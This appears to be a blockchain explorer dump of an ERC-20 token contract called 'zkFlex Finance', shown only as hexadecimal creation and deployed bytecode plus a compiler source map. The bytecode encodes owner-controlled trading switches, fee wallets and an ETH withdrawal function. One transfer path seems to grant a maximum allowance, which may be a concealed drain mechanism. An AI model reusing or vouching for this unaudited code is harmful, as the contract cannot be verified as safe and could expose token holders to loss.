565b9992985090965090945050505050565b5f80808061174c888661178a565b90505f611759888761178a565b90505f611766888861178a565b90505f61177782611728868661124a565b939b939a50919850919650505050505050565b5f825f0361179957505f61044f565b5f6117a48385611a8f565b9050826117b18583611a70565b146110dc5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610506565b5f6020808352835180828501525f5b8181101561183357858101830151858201604001528201611817565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461092a575f80fd5b5f8060408385031215611878575f80fd5b823561188381611853565b946020939093013593505050565b5f805f606084860312156118a3575f80fd5b83356118ae81611853565b925060208401356118be81611853565b929592945050506040919091013590565b5f602082840312156118df575f80fd5b81356110dc81611853565b5f80604083850312156118fb575f80fd5b823561190681611853565b9150602083013561191681611853565b809150509250929050565b5f60208284031215611931575f80fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f6020828403121561197d575f80fd5b81516110dc81611853565b5f805f6060848603121561199a575f80fd5b8351925060208401519150604084015190509250925092565b634e487b7160e01b5f52601160045260245ffd5b8082018082111561044f5761044f6119b3565b8181038181111561044f5761044f6119b3565b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b81811015611a4f5784516001600160a01b031683529383019391830191600101611a2a565b50506001600160a01b03969096166060850152505050608001529392505050565b5f82611a8a57634e487b7160e01b5f52601260045260245ffd5b500490565b808202811582820484141761044f5761044f6119b356fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212201bea02e7d1d4ea1cea2bb07a2d253a687bbe926ca8a0610f1f994d0056a1337b64736f6c63430008150033

Deployed Bytecode

0x60806040526004361061013f575f3560e01c80637d1db4a5116100b3578063a0ef91df1161006d578063a0ef91df14610375578063a9059cbb14610389578063bf474bed146103a8578063dd62ed3e146103bd578063de2aa57d14610401578063f2fde38b14610420575f80fd5b80637d1db4a5146102dd5780638a8c523c146102f25780638da5cb5b146102fa5780638f9a55c01461031657806395d89b411461032b578063962dfc7514610356575f80fd5b806323b872dd1161010457806323b872dd1461023b578063313ce5671461025a57806349bd5a5e1461027557806370a0823114610294578063715018a6146102b3578063751039fc146102c9575f80fd5b806306fdde031461014a578063095ea7b31461019257806311a63e17146101c15780631694505e146101f857806318160ddd14610217575f80fd5b3661014657005b5f80fd5b348015610155575f80fd5b5060408051808201909152600e81526d7a6b466c65782046696e616e636560901b60208201525b6040516101899190611808565b60405180910390f35b34801561019d575f80fd5b506101b16101ac366004611867565b61043f565b6040519015158152602001610189565b3480156101cc575f80fd5b506005546101e0906001600160a01b031681565b6040516001600160a01b039091168152602001610189565b348015610203575f80fd5b506002546101e0906001600160a01b031681565b348015610222575f80fd5b50670de0b6b3a76400005b604051908152602001610189565b348015610246575f80fd5b506101b1610255366004611891565b610455565b348015610265575f80fd5b5060405160098152602001610189565b348015610280575f80fd5b506001546101e0906001600160a01b031681565b34801561029f575f80fd5b5061022d6102ae3660046118cf565b6104bc565b3480156102be575f80fd5b506102c76104dd565b005b3480156102d4575f80fd5b506102c7610557565b3480156102e8575f80fd5b5061022d60065481565b6102c7610593565b348015610305575f80fd5b505f546001600160a01b03166101e0565b348015610321575f80fd5b5061022d60075481565b348015610336575f80fd5b506040805180820190915260038152620b48cb60eb1b602082015261017c565b348015610361575f80fd5b506004546101e0906001600160a01b031681565b348015610380575f80fd5b506102c76108b8565b348015610394575f80fd5b506101b16103a3366004611867565b61092d565b3480156103b3575f80fd5b5061022d60085481565b3480156103c8575f80fd5b5061022d6103d73660046118ea565b6001600160a01b039182165f90815260156020908152604080832093909416825291909152205490565b34801561040c575f80fd5b506102c761041b366004611921565b610939565b34801561042b575f80fd5b506102c761043a3660046118cf565b610967565b5f61044b338484610a4e565b5060015b92915050565b5f610461848484610b71565b6104b284336104ad85604051806060016040528060288152602001611aa7602891396001600160a01b038a165f9081526015602090815260408083203384529091529020549190611029565b610a4e565b5060019392505050565b6001600160a01b0381165f9081526017602052604081205461044f90611061565b5f546001600160a01b0316331461050f5760405162461bcd60e51b815260040161050690611938565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105805760405162461bcd60e51b815260040161050690611938565b670de0b6b3a76400006007819055600655565b5f546001600160a01b031633146105bc5760405162461bcd60e51b815260040161050690611938565b60095462010000900460ff16156105d1575f80fd5b5f3411806105de57505f47115b6106135760405162461bcd60e51b815260206004820152600660248201526509cde408aa8960d31b6044820152606401610506565b5f61061d306104bc565b116106565760405162461bcd60e51b81526020600482015260096024820152684e6f20746f6b656e7360b81b6044820152606401610506565b60025f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106a6573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106ca919061196d565b6001600160a01b031663c9c653963060025f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610729573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061074d919061196d565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610797573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107bb919061196d565b600180546001600160a01b0319166001600160a01b039283161790556002546107e8913091165f19610a4e565b6002546001600160a01b031663f305d7194730610804816104bc565b5f806108175f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561087d573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906108a29190611988565b50506009805462ffff0019166201010017905550565b6004546001600160a01b031633146108ce575f80fd5b6004546040515f916001600160a01b03169047908381818185875af1925050503d805f8114610918576040519150601f19603f3d011682016040523d82523d5f602084013e61091d565b606091505b505090508061092a575f80fd5b50565b5f61044b338484610b71565b5f546001600160a01b031633146109625760405162461bcd60e51b815260040161050690611938565b600855565b5f546001600160a01b031633146109905760405162461bcd60e51b815260040161050690611938565b6001600160a01b0381166109f55760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610506565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610ab05760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610506565b6001600160a01b038216610b115760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610506565b6001600160a01b038381165f8181526015602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b476001600160a01b038416610bd65760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610506565b6001600160a01b038316610c385760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610506565b5f8211610c995760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610506565b6001600160a01b0383165f9081526014602052604090205460ff16158015610cd957506001600160a01b0384165f9081526014602052604090205460ff16155b15610f0b5760095462010000900460ff16610d70575f546001600160a01b03858116911614610d705760405162461bcd60e51b815260206004820152603860248201527f54686973206163636f756e742063616e6e6f742073656e6420746f6b656e732060448201527f756e74696c2074726164696e6720697320656e61626c656400000000000000006064820152608401610506565b600654821115610dba5760405162461bcd60e51b815260206004820152601560248201527413585e08151c985b9cd858dd1a5bdb88131a5b5a5d605a1b6044820152606401610506565b6001546001600160a01b03848116911614610e335760075482610ddc856104bc565b610de691906119c7565b10610e335760405162461bcd60e51b815260206004820152601c60248201527f42616c616e636520657863656564732077616c6c65742073697a6521000000006044820152606401610506565b5f610e3d306104bc565b600854600654919250821015908210610e565760065491505b808015610e66575060095460ff16155b8015610e795750600954610100900460ff165b8015610e9257506001546001600160a01b038681169116145b8015610eb657506001600160a01b0385165f9081526014602052604090205460ff16155b8015610eda57506001600160a01b0386165f9081526014602052604090205460ff16155b15610f085747610ee9836110e3565b5f610ef4478361124a565b90508015610f0557610f058161128b565b50505b50505b6001600160a01b0384165f9081526014602052604090205460019060ff1680610f4b57506001600160a01b0384165f9081526014602052604090205460ff165b80610f7d57506001546001600160a01b03868116911614801590610f7d57506001546001600160a01b03858116911614155b15610f8957505f611016565b6001546001600160a01b038681169116148015610fb457506002546001600160a01b03858116911614155b15610fc657600c54601055600e546011555b6001546001600160a01b038581169116148015610ff157506002546001600160a01b03868116911614155b1561101657600d546010556110058261131d565b600f5461101291906119da565b6011555b61102285858584611330565b5050505050565b5f818484111561104c5760405162461bcd60e51b81526004016105069190611808565b505f61105884866119da565b95945050505050565b5f6003548211156110c75760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610506565b5f6110d061135e565b90506110dc838261137f565b9392505050565b6009805460ff191660011790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110611123576111236119ed565b6001600160a01b03928316602091820292909201810191909152600254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561117a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061119e919061196d565b816001815181106111b1576111b16119ed565b6001600160a01b0392831660209182029290920101526002546111d79130911684610a4e565b60025460405163791ac94760e01b81526001600160a01b039091169063791ac9479061120f9085905f90869030904290600401611a01565b5f604051808303815f87803b158015611226575f80fd5b505af1158015611238573d5f803e3d5ffd5b50506009805460ff1916905550505050565b5f6110dc83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611029565b5f600a548261129a9190611a70565b90505f6112a782846119da565b6005546040519192506001600160a01b03169083156108fc029084905f818181858888f193505050501580156112df573d5f803e3d5ffd5b506004546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015611317573d5f803e3d5ffd5b50505050565b5f61044f67016345785d8a000083611a70565b8061133d5761133d6113c0565b6113488484846113ed565b8061131757611317601254601055601354601155565b5f805f6113696114f4565b9092509050611378828261137f565b9250505090565b5f6110dc83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611533565b6010541580156113d05750601154155b156113d757565b60108054601255601180546013555f9182905555565b5f805f805f806113fc8761155f565b95509550955095509550955061141289896115b4565b156114215761142189896115e7565b6001600160a01b0389165f90815260176020526040902054611443908761124a565b6001600160a01b03808b165f9081526017602052604080822093909355908a16815220546114719086611624565b6001600160a01b0389165f9081526017602052604090205561149281611682565b61149c84836116c8565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516114e191815260200190565b60405180910390a3505050505050505050565b6003545f908190670de0b6b3a76400009061150f818361137f565b81101561152b57505060035492670de0b6b3a764000092509050565b939092509050565b5f81836115535760405162461bcd60e51b81526004016105069190611808565b505f6110588486611a70565b5f805f805f805f805f6115778a6010546011546116ec565b9250925092505f61158661135e565b90505f805f6115978e87878761173e565b919e509c509a509598509396509194505050505091939550919395565b6001545f906001600160a01b0383811691161480156110dc57506004546001600160a01b03848116911614905092915050565b6001600160a01b038082165f908152601560209081526040808320938616835292905220545f1911156116205761162081835f19610a4e565b5050565b5f8061163083856119c7565b9050838110156110dc5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610506565b5f61168b61135e565b90505f611698838361178a565b305f908152601760205260409020549091506116b49082611624565b305f90815260176020526040902055505050565b6003546116d5908361124a565b600355600b546116e59082611624565b600b555050565b5f80808061170560646116ff898961178a565b9061137f565b90505f61171760646116ff8a8961178a565b90505f61172e826117288b8661124a565b9061124a565b9992985090965090945050505050565b5f80808061174c888661178a565b90505f611759888761178a565b90505f611766888861178a565b90505f61177782611728868661124a565b939b939a50919850919650505050505050565b5f825f0361179957505f61044f565b5f6117a48385611a8f565b9050826117b18583611a70565b146110dc5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610506565b5f6020808352835180828501525f5b8181101561183357858101830151858201604001528201611817565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461092a575f80fd5b5f8060408385031215611878575f80fd5b823561188381611853565b946020939093013593505050565b5f805f606084860312156118a3575f80fd5b83356118ae81611853565b925060208401356118be81611853565b929592945050506040919091013590565b5f602082840312156118df575f80fd5b81356110dc81611853565b5f80604083850312156118fb575f80fd5b823561190681611853565b9150602083013561191681611853565b809150509250929050565b5f60208284031215611931575f80fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f6020828403121561197d575f80fd5b81516110dc81611853565b5f805f6060848603121561199a575f80fd5b8351925060208401519150604084015190509250925092565b634e487b7160e01b5f52601160045260245ffd5b8082018082111561044f5761044f6119b3565b8181038181111561044f5761044f6119b3565b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b81811015611a4f5784516001600160a01b031683529383019391830191600101611a2a565b50506001600160a01b03969096166060850152505050608001529392505050565b5f82611a8a57634e487b7160e01b5f52601260045260245ffd5b500490565b808202811582820484141761044f5761044f6119b356fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212201bea02e7d1d4ea1cea2bb07a2d253a687bbe926ca8a0610f1f994d0056a1337b64736f6c63430008150033

Deployed Bytecode Sourcemap

4025:13583:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6522:83;;;;;;;;;;-1:-1:-1;6592:5:0;;;;;;;;;;;;-1:-1:-1;;;6592:5:0;;;;6522:83;;;;;;;:::i;:::-;;;;;;;;7615:193;;;;;;;;;;-1:-1:-1;7615:193:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;7615:193:0;1023:187:1;4621:87:0;;;;;;;;;;-1:-1:-1;4621:87:0;;;;-1:-1:-1;;;;;4621:87:0;;;;;;-1:-1:-1;;;;;1395:32:1;;;1377:51;;1365:2;1350:18;4621:87:0;1215:219:1;4147:41:0;;;;;;;;;;-1:-1:-1;4147:41:0;;;;-1:-1:-1;;;;;4147:41:0;;;6613:95;;;;;;;;;;-1:-1:-1;4275:11:0;6613:95;;;1819:25:1;;;1807:2;1792:18;6613:95:0;1673:177:1;9064:446:0;;;;;;;;;;-1:-1:-1;9064:446:0;;;;;:::i;:::-;;:::i;6336:83::-;;;;;;;;;;-1:-1:-1;6336:83:0;;4232:1;2458:36:1;;2446:2;2431:18;6336:83:0;2316:184:1;4112:28:0;;;;;;;;;;-1:-1:-1;4112:28:0;;;;-1:-1:-1;;;;;4112:28:0;;;6716:138;;;;;;;;;;-1:-1:-1;6716:138:0;;;;;:::i;:::-;;:::i;3666:148::-;;;;;;;;;;;;;:::i;:::-;;8935:117;;;;;;;;;;;;;:::i;4717:49::-;;;;;;;;;;;;;;;;7820:730;;;:::i;3822:79::-;;;;;;;;;;-1:-1:-1;3860:7:0;3887:6;-1:-1:-1;;;;;3887:6:0;3822:79;;4779:51;;;;;;;;;;;;;;;;6427:87;;;;;;;;;;-1:-1:-1;6499:7:0;;;;;;;;;;;;-1:-1:-1;;;6499:7:0;;;;6427:87;;4521:93;;;;;;;;;;-1:-1:-1;4521:93:0;;;;-1:-1:-1;;;;;4521:93:0;;;17128:205;;;;;;;;;;;;;:::i;9518:199::-;;;;;;;;;;-1:-1:-1;9518:199:0;;;;;:::i;:::-;;:::i;4843:50::-;;;;;;;;;;;;;;;;7092:184;;;;;;;;;;-1:-1:-1;7092:184:0;;;;;:::i;:::-;-1:-1:-1;;;;;7241:18:0;;;7209:7;7241:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7092:184;10285:113;;;;;;;;;;-1:-1:-1;10285:113:0;;;;;:::i;:::-;;:::i;3414:244::-;;;;;;;;;;-1:-1:-1;3414:244:0;;;;;:::i;:::-;;:::i;7615:193::-;7717:4;7739:39;3035:10;7762:7;7771:6;7739:8;:39::i;:::-;-1:-1:-1;7796:4:0;7615:193;;;;;:::o;9064:446::-;9196:4;9213:36;9223:6;9231:9;9242:6;9213:9;:36::i;:::-;9260:220;9283:6;3035:10;9331:138;9387:6;9331:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;9331:19:0;;;;;;:11;:19;;;;;;;;3035:10;9331:33;;;;;;;;;;:37;:138::i;:::-;9260:8;:220::i;:::-;-1:-1:-1;9498:4:0;9064:446;;;;;:::o;6716:138::-;-1:-1:-1;;;;;6829:16:0;;6782:7;6829:16;;;:7;:16;;;;;;6809:37;;:19;:37::i;3666:148::-;3327:6;;-1:-1:-1;;;;;3327:6:0;3035:10;3327:22;3319:67;;;;-1:-1:-1;;;3319:67:0;;;;;;;:::i;:::-;;;;;;;;;3773:1:::1;3757:6:::0;;3736:40:::1;::::0;-1:-1:-1;;;;;3757:6:0;;::::1;::::0;3736:40:::1;::::0;3773:1;;3736:40:::1;3804:1;3787:19:::0;;-1:-1:-1;;;;;;3787:19:0::1;::::0;;3666:148::o;8935:117::-;3327:6;;-1:-1:-1;;;;;3327:6:0;3035:10;3327:22;3319:67;;;;-1:-1:-1;;;3319:67:0;;;;;;;:::i;:::-;4275:11:::1;8987:14;:24:::0;;;9022:12:::1;:22:::0;8935:117::o;7820:730::-;3327:6;;-1:-1:-1;;;;;3327:6:0;3035:10;3327:22;3319:67;;;;-1:-1:-1;;;3319:67:0;;;;;;;:::i;:::-;7890:14:::1;::::0;;;::::1;;;7889:15;7881:24;;;::::0;::::1;;7936:1;7924:9;:13;:42;;;;7965:1;7941:21;:25;7924:42;7916:61;;;::::0;-1:-1:-1;;;7916:61:0;;4106:2:1;7916:61:0::1;::::0;::::1;4088:21:1::0;4145:1;4125:18;;;4118:29;-1:-1:-1;;;4163:18:1;;;4156:36;4209:18;;7916:61:0::1;3904:329:1::0;7916:61:0::1;8023:1;7996:24;8014:4;7996:9;:24::i;:::-;:28;7988:50;;;::::0;-1:-1:-1;;;7988:50:0;;4440:2:1;7988:50:0::1;::::0;::::1;4422:21:1::0;4479:1;4459:18;;;4452:29;-1:-1:-1;;;4497:18:1;;;4490:39;4546:18;;7988:50:0::1;4238:332:1::0;7988:50:0::1;8085:15;;;;;;;;;-1:-1:-1::0;;;;;8085:15:0::1;-1:-1:-1::0;;;;;8085:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;8067:55:0::1;;8131:4;8138:15;;;;;;;;;-1:-1:-1::0;;;;;8138:15:0::1;-1:-1:-1::0;;;;;8138:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8067:94;::::0;-1:-1:-1;;;;;;8067:94:0::1;::::0;;;;;;-1:-1:-1;;;;;5061:15:1;;;8067:94:0::1;::::0;::::1;5043:34:1::0;5113:15;;5093:18;;;5086:43;4978:18;;8067:94:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8051:13;:110:::0;;-1:-1:-1;;;;;;8051:110:0::1;-1:-1:-1::0;;;;;8051:110:0;;::::1;;::::0;;8204:15:::1;::::0;8172:68:::1;::::0;8189:4:::1;::::0;8204:15:::1;-1:-1:-1::0;;8172:8:0::1;:68::i;:::-;8253:15;::::0;-1:-1:-1;;;;;8253:15:0::1;:31;8292:21;8337:4;8357:24;8337:4:::0;8357:9:::1;:24::i;:::-;8396:1;8413::::0;8430:7:::1;3860::::0;3887:6;-1:-1:-1;;;;;3887:6:0;;3822:79;8430:7:::1;8253:225;::::0;::::1;::::0;;;-1:-1:-1;;;;;;8253:225:0;;;-1:-1:-1;;;;;5499:15:1;;;8253:225:0::1;::::0;::::1;5481:34:1::0;5531:18;;;5524:34;;;;5574:18;;;5567:34;;;;5617:18;;;5610:34;5681:15;;;5660:19;;;5653:44;8452:15:0::1;5713:19:1::0;;;5706:35;5415:19;;8253:225:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;8491:14:0::1;:21:::0;;-1:-1:-1;;8523:19:0;;;;;-1:-1:-1;7820:730:0:o;17128:205::-;17193:16;;-1:-1:-1;;;;;17193:16:0;17179:10;:30;17171:39;;;;;;17245:16;;17237:64;;17222:9;;-1:-1:-1;;;;;17245:16:0;;17275:21;;17222:9;17237:64;17222:9;17237:64;17275:21;17245:16;17237:64;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;17221:80;;;17320:4;17312:13;;;;;;17160:173;17128:205::o;9518:199::-;9623:4;9645:42;3035:10;9669:9;9680:6;9645:9;:42::i;10285:113::-;3327:6;;-1:-1:-1;;;;;3327:6:0;3035:10;3327:22;3319:67;;;;-1:-1:-1;;;3319:67:0;;;;;;;:::i;:::-;10361:17:::1;:29:::0;10285:113::o;3414:244::-;3327:6;;-1:-1:-1;;;;;3327:6:0;3035:10;3327:22;3319:67;;;;-1:-1:-1;;;3319:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;3503:22:0;::::1;3495:73;;;::::0;-1:-1:-1;;;3495:73:0;;6475:2:1;3495:73:0::1;::::0;::::1;6457:21:1::0;6514:2;6494:18;;;6487:30;6553:34;6533:18;;;6526:62;-1:-1:-1;;;6604:18:1;;;6597:36;6650:19;;3495:73:0::1;6273:402:1::0;3495:73:0::1;3605:6;::::0;;3584:38:::1;::::0;-1:-1:-1;;;;;3584:38:0;;::::1;::::0;3605:6;::::1;::::0;3584:38:::1;::::0;::::1;3633:6;:17:::0;;-1:-1:-1;;;;;;3633:17:0::1;-1:-1:-1::0;;;;;3633:17:0;;;::::1;::::0;;;::::1;::::0;;3414:244::o;8558:369::-;-1:-1:-1;;;;;8685:19:0;;8677:68;;;;-1:-1:-1;;;8677:68:0;;6882:2:1;8677:68:0;;;6864:21:1;6921:2;6901:18;;;6894:30;6960:34;6940:18;;;6933:62;-1:-1:-1;;;7011:18:1;;;7004:34;7055:19;;8677:68:0;6680:400:1;8677:68:0;-1:-1:-1;;;;;8764:21:0;;8756:68;;;;-1:-1:-1;;;8756:68:0;;7287:2:1;8756:68:0;;;7269:21:1;7326:2;7306:18;;;7299:30;7365:34;7345:18;;;7338:62;-1:-1:-1;;;7416:18:1;;;7409:32;7458:19;;8756:68:0;7085:398:1;8756:68:0;-1:-1:-1;;;;;8835:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;8887:32;;1819:25:1;;;8887:32:0;;1792:18:1;8887:32:0;;;;;;;8558:369;;;:::o;10627:2508::-;10763:21;-1:-1:-1;;;;;10803:18:0;;10795:68;;;;-1:-1:-1;;;10795:68:0;;7690:2:1;10795:68:0;;;7672:21:1;7729:2;7709:18;;;7702:30;7768:34;7748:18;;;7741:62;-1:-1:-1;;;7819:18:1;;;7812:35;7864:19;;10795:68:0;7488:401:1;10795:68:0;-1:-1:-1;;;;;10882:16:0;;10874:64;;;;-1:-1:-1;;;10874:64:0;;8096:2:1;10874:64:0;;;8078:21:1;8135:2;8115:18;;;8108:30;8174:34;8154:18;;;8147:62;-1:-1:-1;;;8225:18:1;;;8218:33;8268:19;;10874:64:0;7894:399:1;10874:64:0;10966:1;10957:6;:10;10949:64;;;;-1:-1:-1;;;10949:64:0;;8500:2:1;10949:64:0;;;8482:21:1;8539:2;8519:18;;;8512:30;8578:34;8558:18;;;8551:62;-1:-1:-1;;;8629:18:1;;;8622:39;8678:19;;10949:64:0;8298:405:1;10949:64:0;-1:-1:-1;;;;;11047:23:0;;;;;;:19;:23;;;;;;;;11046:24;:54;;;;-1:-1:-1;;;;;;11075:25:0;;;;;;:19;:25;;;;;;;;11074:26;11046:54;11027:1392;;;11132:14;;;;;;;11127:201;;3860:7;3887:6;-1:-1:-1;;;;;11197:15:0;;;3887:6;;11197:15;11167:145;;;;-1:-1:-1;;;11167:145:0;;8910:2:1;11167:145:0;;;8892:21:1;8949:2;8929:18;;;8922:30;8988:34;8968:18;;;8961:62;9059:26;9039:18;;;9032:54;9103:19;;11167:145:0;8708:420:1;11167:145:0;11380:12;;11370:6;:22;;11344:105;;;;-1:-1:-1;;;11344:105:0;;9335:2:1;11344:105:0;;;9317:21:1;9374:2;9354:18;;;9347:30;-1:-1:-1;;;9393:18:1;;;9386:51;9454:18;;11344:105:0;9133:345:1;11344:105:0;11488:13;;-1:-1:-1;;;;;11482:19:0;;;11488:13;;11482:19;11478:158;;11555:14;;11546:6;11530:13;11540:2;11530:9;:13::i;:::-;:22;;;;:::i;:::-;:39;11522:98;;;;-1:-1:-1;;;11522:98:0;;9947:2:1;11522:98:0;;;9929:21:1;9986:2;9966:18;;;9959:30;10025;10005:18;;;9998:58;10073:18;;11522:98:0;9745:352:1;11522:98:0;11652:27;11682:24;11700:4;11682:9;:24::i;:::-;11771:17;;11830:12;;11652:54;;-1:-1:-1;11748:40:0;;;;11807:35;;11803:75;;11866:12;;11844:34;;11803:75;11915:7;:36;;;;-1:-1:-1;11944:7:0;;;;11943:8;11915:36;:69;;;;-1:-1:-1;11972:12:0;;;;;;;11915:69;:109;;;;-1:-1:-1;12011:13:0;;-1:-1:-1;;;;;12005:19:0;;;12011:13;;12005:19;11915:109;:154;;;;-1:-1:-1;;;;;;12046:23:0;;;;;;:19;:23;;;;;;;;12045:24;11915:154;:201;;;;-1:-1:-1;;;;;;12091:25:0;;;;;;:19;:25;;;;;;;;12090:26;11915:201;11893:515;;;12172:21;12212:29;12221:19;12212:8;:29::i;:::-;12260:22;12285:37;:21;12311:10;12285:25;:37::i;:::-;12260:62;-1:-1:-1;12345:18:0;;12341:52;;12367:23;12375:14;12367:7;:23::i;:::-;12132:276;;11893:515;11112:1307;;11027:1392;-1:-1:-1;;;;;12466:25:0;;12431:12;12466:25;;;:19;:25;;;;;;12446:4;;12466:25;;;:52;;-1:-1:-1;;;;;;12495:23:0;;;;;;:19;:23;;;;;;;;12466:52;12465:104;;;-1:-1:-1;12532:13:0;;-1:-1:-1;;;;;12524:21:0;;;12532:13;;12524:21;;;;:44;;-1:-1:-1;12555:13:0;;-1:-1:-1;;;;;12549:19:0;;;12555:13;;12549:19;;12524:44;12461:606;;;-1:-1:-1;12596:5:0;12461:606;;;12646:13;;-1:-1:-1;;;;;12638:21:0;;;12646:13;;12638:21;:55;;;;-1:-1:-1;12677:15:0;;-1:-1:-1;;;;;12663:30:0;;;12677:15;;12663:30;;12638:55;12634:176;;;12731:14;;12714;:31;12781:13;;12764:14;:30;12634:176;12834:13;;-1:-1:-1;;;;;12828:19:0;;;12834:13;;12828:19;:55;;;;-1:-1:-1;12867:15:0;;-1:-1:-1;;;;;12851:32:0;;;12867:15;;12851:32;;12828:55;12824:232;;;12921:15;;12904:14;:32;13010:30;13028:11;13010:17;:30::i;:::-;12972:14;;:68;;;;:::i;:::-;12955:14;:85;12824:232;13077:50;13101:4;13107:2;13111:6;13119:7;13077:23;:50::i;:::-;10730:2405;;10627:2508;;;:::o;897:224::-;1017:7;1053:12;1045:6;;;;1037:29;;;;-1:-1:-1;;;1037:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1077:9:0;1089:5;1093:1;1089;:5;:::i;:::-;1077:17;897:224;-1:-1:-1;;;;;897:224:0:o;7284:323::-;7379:7;7437;;7426;:18;;7404:110;;;;-1:-1:-1;;;7404:110:0;;10437:2:1;7404:110:0;;;10419:21:1;10476:2;10456:18;;;10449:30;10515:34;10495:18;;;10488:62;-1:-1:-1;;;10566:18:1;;;10559:40;10616:19;;7404:110:0;10235:406:1;7404:110:0;7525:19;7547:10;:8;:10::i;:::-;7525:32;-1:-1:-1;7575:24:0;:7;7525:32;7575:11;:24::i;:::-;7568:31;7284:323;-1:-1:-1;;;7284:323:0:o;16211:474::-;5523:7;:14;;-1:-1:-1;;5523:14:0;5533:4;5523:14;;;16304:16:::1;::::0;;16318:1:::1;16304:16:::0;;;;;::::1;::::0;;-1:-1:-1;;16304:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;16304:16:0::1;16280:40;;16349:4;16331;16336:1;16331:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;16331:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;16375:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;16375:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;16331:7;;16375:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1